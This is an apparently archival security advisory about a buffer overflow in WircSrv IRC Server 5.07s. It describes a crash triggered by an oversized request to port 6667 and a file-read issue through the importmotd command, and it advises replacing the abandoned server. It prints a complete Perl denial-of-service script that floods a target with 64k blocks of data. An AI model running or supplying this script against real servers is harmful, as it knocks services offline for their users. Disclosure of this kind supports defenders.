|
COMMAND WircSrv SYSTEMS AFFECTED WircSrv Irc Server v5.07s PROBLEM The Ussr Labs team has recently discovered a buffer overflow memory problem in the WircSrv Irc Server. What happens is by performing an attack with a malformed request to port 6667 it will cause the process containing the services to stop responding. The http Server (Port 80) service has an overflow in the GET command [hellme@die-communitech.net$ telnet irc.example.com 6667 Trying example.com... Connected to example.com. Escape character is '^]'. [buffer] Where [buffer] is approx. 65000 characters, and the process containg the service crashes. Code in Perl: #!/usr/bin/perl ######################################################### # Exploit by USSRLabs www.ussrback.com # WircSrv Version 5.07s Remote DoS attack # send 2 64k blocks of data causes the server to crash. ######################################################### use Getopt::Std; use Socket; getopts('s:', \%args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto); $foo = "A"; # this is the NOP $number = "65000"; # this is the total number of NOP $data .= $foo x $number; # result of $foo times $number $serv = $args{s}; # remote server $port = 6667; # remote port, default is 6667 $buf = "$data"; # issue this response to the server $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n"); socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf"; print S "$buf"; print("Data has been successfully sent to $serv\n"); sub usage {die("\n\nExploit by USSRLabs www.ussrback.com\nWircSrv Version 5.07s Remote DoS attack\nsend 2 64k blocks of data causes the server to crash.\n -s server_ip\n\n");} Andrew Lewis added following. The feature/bug is the importmotd command, which allows any IRCOp to set the motd to any file on the servers hard-drive(s). Obviously enough, you trust the IRCOps on your server, but does that mean you automatically trust them enough to view any file on your system? Not too sure about that. SOLUTION Wircsrv is unmaintained and possibly entered the realm of abandonware at least two years ago, due to "lack of interest". Given that bugs are unlikely to be corrected, existing installations of it should be replaced with some other irc daemon.